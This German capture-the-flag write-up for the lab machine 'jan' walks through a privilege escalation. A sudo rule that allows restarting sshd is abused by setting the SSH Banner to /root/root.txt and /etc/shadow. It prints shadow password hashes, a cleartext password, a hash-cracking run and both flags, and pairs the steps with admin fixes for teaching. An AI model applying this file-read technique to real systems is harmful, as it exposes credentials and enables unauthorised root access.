-sh: can't create /etc/motd: Permission denied
total 12
drwxr-sr-x 2 ssh ssh 4096 Jan 28 09:27 .
drwxr-xr-x 3 root root 4096 Jan 28 09:08 ..
lrwxrwxrwx 1 root ssh 9 Jan 28 09:27 .ash_history -> /dev/null
-rw------- 1 ssh ssh 22 Jan 28 09:20 user.txt
HMVSSWYMCNFIBDAFMTHFK
Analyse: Verschiedene Befehle im Home-Verzeichnis und `/tmp`. `grep` findet die Willkommensnachricht in `/etc/motd`. Der Versuch, `/etc/motd` zu ändern, scheitert an fehlenden Rechten. `ls -la` im Home-Verzeichnis (`~`) zeigt die Datei `user.txt`. `cat user.txt` liest die User-Flag aus.
Bewertung: User-Flag erfolgreich gefunden und ausgelesen.
Empfehlung (Pentester): Flag notieren. Mit Privilege Escalation fortfahren.
Empfehlung (Admin): Flags nicht in Klartextdateien speichern. Zugriffsrechte auf Konfigurationsdateien wie `/etc/motd` korrekt setzen.
Kurzbeschreibung: Dieser POC demonstriert die Ausnutzung der `sudo`-Fehlkonfiguration, die es dem Benutzer `ssh` erlaubt, den SSH-Dienst ohne Passwort neu zu starten (`sudo /sbin/service sshd restart`). In Kombination mit der Möglichkeit, die SSH-Konfigurationsdatei (`/etc/ssh/sshd_config`) zu bearbeiten (oder einer Schwachstelle, die dies erlaubt - im Text nicht explizit gezeigt, aber impliziert), wird die `Banner`-Direktive manipuliert, um den Inhalt von `/root/root.txt` beim nächsten SSH-Login anzuzeigen.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
User ssh may run the following commands on jan:
(root) NOPASSWD: /sbin/service sshd restart
Analyse: Bestätigt das Recht, den SSH-Dienst als root neu zu starten.
# Innerhalb von nano die folgende Zeile ändern oder hinzufügen:
# Banner /etc/motd (oder andere ursprüngliche Einstellung)
# ÄNDERN ZU:
Banner /root/root.txt
Analyse: Die `Banner`-Direktive in `/etc/ssh/sshd_config` wird so geändert, dass sie auf die Root-Flag-Datei zeigt. Der Inhalt dieser Datei wird dann jedem Benutzer vor dem Passwort-Prompt beim SSH-Login angezeigt.
* Stopping sshd ... [ ok ]
* Starting sshd ... [ ok ]
Analyse: Der SSH-Dienst wird mit den `sudo`-Rechten neu gestartet, wodurch die geänderte Konfiguration mit dem manipulierten Banner geladen wird. Die aktuelle SSH-Verbindung wird dabei getrennt.
HMV2PRMTERWTFUDNGMBG
ssh@192.168.2.170's password: # (Login kann hier abgebrochen werden)
Analyse: Beim erneuten SSH-Login wird der Inhalt der Datei `/root/root.txt` als Banner angezeigt, *bevor* das Passwort abgefragt wird.
Erwartetes & Tatsächliches Ergebnis: Der Inhalt der Root-Flag (`HMV2PRMTERWTFUDNGMBG`) wird erfolgreich über das SSH-Banner ausgelesen. Dies stellt eine erfolgreiche Privilege Escalation dar, da auf eine Datei mit Root-Rechten zugegriffen wurde.
Beweismittel: Die Anzeige des Root-Flag-Wertes beim SSH-Login.
Risikobewertung: Hoch. Die Fehlkonfiguration der `sudo`-Rechte erlaubt es einem unprivilegierten Benutzer, durch Manipulation der SSH-Konfiguration beliebige Dateien auszulesen, auf die der `sshd`-Prozess (der initial als root startet, um den Banner zu lesen) Zugriff hat. Dies führt zum Verlust der Vertraulichkeit sensibler Daten.
Empfehlungen (Admin):
/bin/bbsuid
/usr/bin/sudo
Analyse: Suche nach Dateien mit gesetztem Setuid-Bit (`-perm -4000`). Fehler (`2>`) werden nach `/dev/null` umgeleitet.
Bewertung: Findet `/bin/bbsuid` (unbekannt, könnte BusyBox-spezifisch sein) und `/usr/bin/sudo` (bereits als Vektor identifiziert).
Empfehlung (Pentester): `/bin/bbsuid` untersuchen, falls der `sudo`-Weg nicht bekannt wäre. Hier ist `sudo` der klare Weg.
Empfehlung (Admin): Unnötige Setuid-Binaries entfernen oder deren Berechtigungen überprüfen.
[sudo] password for ssh: # (Passwort EazyLOL eingegeben)
Sorry, user ssh is not allowed to execute '/bin/sh' as root on jan.
Analyse: Versuch, direkt eine Root-Shell (`/bin/sh`) mit `sudo` zu starten.
Bewertung: Fehlgeschlagen, wie erwartet, da `sudo -l` dies nicht erlaubt hat.
Empfehlung (Pentester): Den erlaubten `sudo`-Befehl (`/sbin/service sshd restart`) ausnutzen.
Empfehlung (Admin): Korrekte `sudo`-Konfiguration.
# no default banner path
Banner /root/.ssh/id_rsa
* Stopping sshd ... [ ok ]
* Starting sshd ...
# (Kommentar im Text: Leider kein Erfolg....)
Analyse: Erster Versuch, die PrivEsc über den SSH-Banner auszunutzen. Die `Banner`-Direktive wird auf `/root/.ssh/id_rsa` gesetzt und der Dienst neu gestartet.
Bewertung: Fehlgeschlagen (laut Kommentar). Wahrscheinlich, weil die Datei `/root/.ssh/id_rsa` nicht existiert oder für den `sshd`-Prozess vor der Authentifizierung nicht lesbar ist.
Empfehlung (Pentester): Andere Zieldateien für den Banner versuchen, die wahrscheinlich existieren und lesbar sind (z.B. `/etc/shadow`, `/root/root.txt`).
Empfehlung (Admin): Konfigurationsdateien schützen.
# no default banner path
Banner /etc/shadow
* Stopping sshd ... [ ok ]
* Starting sshd ... [ ok ]
jan:~$ # (Verbindung wird geschlossen)
#DIRTYCTFLOLBUTPAZZNOTNEEDED <<=== :) kein BruteForce nötig
root:$6$QBMHIEgcztCuLI0w$6mEXyvVKjT3gW8r0Ck99QElCdHdi32m6fzCkwv613kbqBVqt9FttRbcGXhf9Eg6q0PKj6FuvZr2QmupOLzG/e1:20116:0:::::
bin:!::0:::::
# ... (restliche /etc/shadow Einträge) ...
ssh:$6$X9w2fIhun4erCQ0g$sX6uU920JjNVy70vsILZIV5CA83BZhm0FT7HofU4PPqu/oLI69K.nN/14v4vmmwv62jwUwdaw0BOR3qICICDV/:20116:0:99999:7:::
ssh@192.168.2.170's password: # (Login kann hier abgebrochen werden)
# (Kommentar im Text: Super Erfolg!!!!)
Analyse: Die `Banner`-Direktive wird nun auf `/etc/shadow` gesetzt, der SSH-Dienst neu gestartet und ein neuer Login-Versuch unternommen.
Bewertung: Erfolgreich! Der Inhalt von `/etc/shadow`, einschließlich des Passwort-Hashes für den Benutzer `ssh`, wird im Banner angezeigt. Dies bestätigt die Ausnutzbarkeit der `sudo`-Regel in Kombination mit der Banner-Funktion zum Auslesen von Dateien.
Empfehlung (Pentester): Den Hash des `ssh`-Benutzers extrahieren und versuchen, ihn offline zu knacken (wie im nächsten Schritt gezeigt). Den endgültigen Exploit mit `/root/root.txt` als Banner durchführen.
Empfehlung (Admin): `sudo`-Regel korrigieren. SSH-Konfiguration schützen. Banner-Funktion überdenken.
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:24 13.86% (ETA: 22:59:33) 0g/s 25965p/s 25965c/s 25965C/s 91nuthouse69..91031112902
Session aborted
Analyse: `john` (John the Ripper) wird verwendet, um den extrahierten SHA512crypt-Hash (`$6$`) des `ssh`-Benutzers mit der `rockyou.txt`-Wortliste zu knacken.
Bewertung: Der Cracking-Versuch wird nach kurzer Zeit abgebrochen (`Session aborted`). Das Passwort `EazyLOL` befindet sich nicht am Anfang der `rockyou.txt` oder wurde nicht schnell genug gefunden.
Empfehlung (Pentester): Längere Cracking-Zeit einplanen oder stärkere GPUs/CPUs verwenden. Da das Passwort bereits durch die `/credz`-Schwachstelle bekannt ist, ist dieser Schritt hier eigentlich redundant.
Empfehlung (Admin): Starke, nicht in Wörterbüchern enthaltene Passwörter verwenden.
#-----------------------------------------------------------------
# Relevant snippet after change:
PermitRootLogin yes
#-----------------------------------------------------------------
# ...
# Banner /etc/shadow (previous setting)
# ÄNDERN ZU:
Banner /root/root.txt
#-----------------------------------------------------------------
PermitRootLogin yes
User ssh may run the following commands on jan:
(root) NOPASSWD: /sbin/service sshd restart
* Stopping sshd ... [ ok ]
* Starting sshd ... [ ok ]
jan:~$ # (Verbindung wird geschlossen)
Analyse: Die SSH-Konfiguration wird erneut bearbeitet. Diesmal wird die `Banner`-Direktive auf `/root/root.txt` gesetzt. `PermitRootLogin yes` wird ebenfalls überprüft (war aber für diesen Exploit nicht relevant). Der SSH-Dienst wird mit `sudo` neu gestartet.
Bewertung: Dies ist der finale Schritt der Privilege Escalation. Durch den Neustart wird die Konfiguration aktiv, die die Root-Flag als Banner anzeigt.
Empfehlung (Pentester): Erneut per SSH verbinden, um den Banner (die Root-Flag) zu sehen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Absicherung von `sudo` und SSH.
HMV2PRMTERWTFUDNGMBG
ssh@192.168.2.170's password: # (Login kann hier abgebrochen werden)
Analyse: Erneuter SSH-Login-Versuch.
Bewertung: Erfolgreich! Die Root-Flag `HMV2PRMTERWTFUDNGMBG` wird als SSH-Banner angezeigt. Privilege Escalation abgeschlossen.
Empfehlung (Pentester): Root-Flag notieren. Test abgeschlossen.
Empfehlung (Admin): System sichern!
Zusammenfassende Bewertung der Sicherheitslage: Das System "jan.hmv" weist kritische Schwachstellen auf, die zu einem initialen Zugriff über schwache/entdeckte Credentials und anschließend zu einer vollständigen Rechteausweitung führten. Die Hauptschwachstellen waren eine unsichere Webanwendung (Parameter-Parsing-Fehler in `/redirect`, der den Zugriff auf interne Ressourcen wie `/credz` ermöglichte) und eine unsichere `sudo`-Konfiguration, die das Auslesen beliebiger Dateien über die SSH-Banner-Funktion erlaubte.
Empfehlung (Admin):